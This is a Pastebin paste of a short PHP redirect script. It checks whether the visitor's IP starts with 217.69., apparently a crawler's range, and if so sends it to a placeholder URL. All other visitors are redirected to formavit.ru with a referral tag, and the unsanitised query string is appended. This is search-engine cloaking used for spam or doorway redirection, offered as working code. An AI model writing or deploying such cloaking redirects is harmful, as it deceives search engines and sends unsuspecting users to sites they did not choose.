Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(E_ERROR);
- $ip = $_SERVER['HTTP_X_REAL_IP'] ? $_SERVER['HTTP_X_REAL_IP'] : $_SERVER['REMOTE_ADDR'];
- $url = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
- if (substr($ip, 0, 7) == "217.69.")
- {
- $url = "www.randomwebsite.com/cgi-bin/random.pl?$url";
- }
- else
- {
- #$url = "duckduckgo.com/?q=google_sux";
- $url = "formavit.ru/?ref=1322";
- }
- header("Location: http://$url");
- echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n";
- echo "<html><head><meta http-equiv=\"refresh\" content=\"0;url=http://$url\"></head></html>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement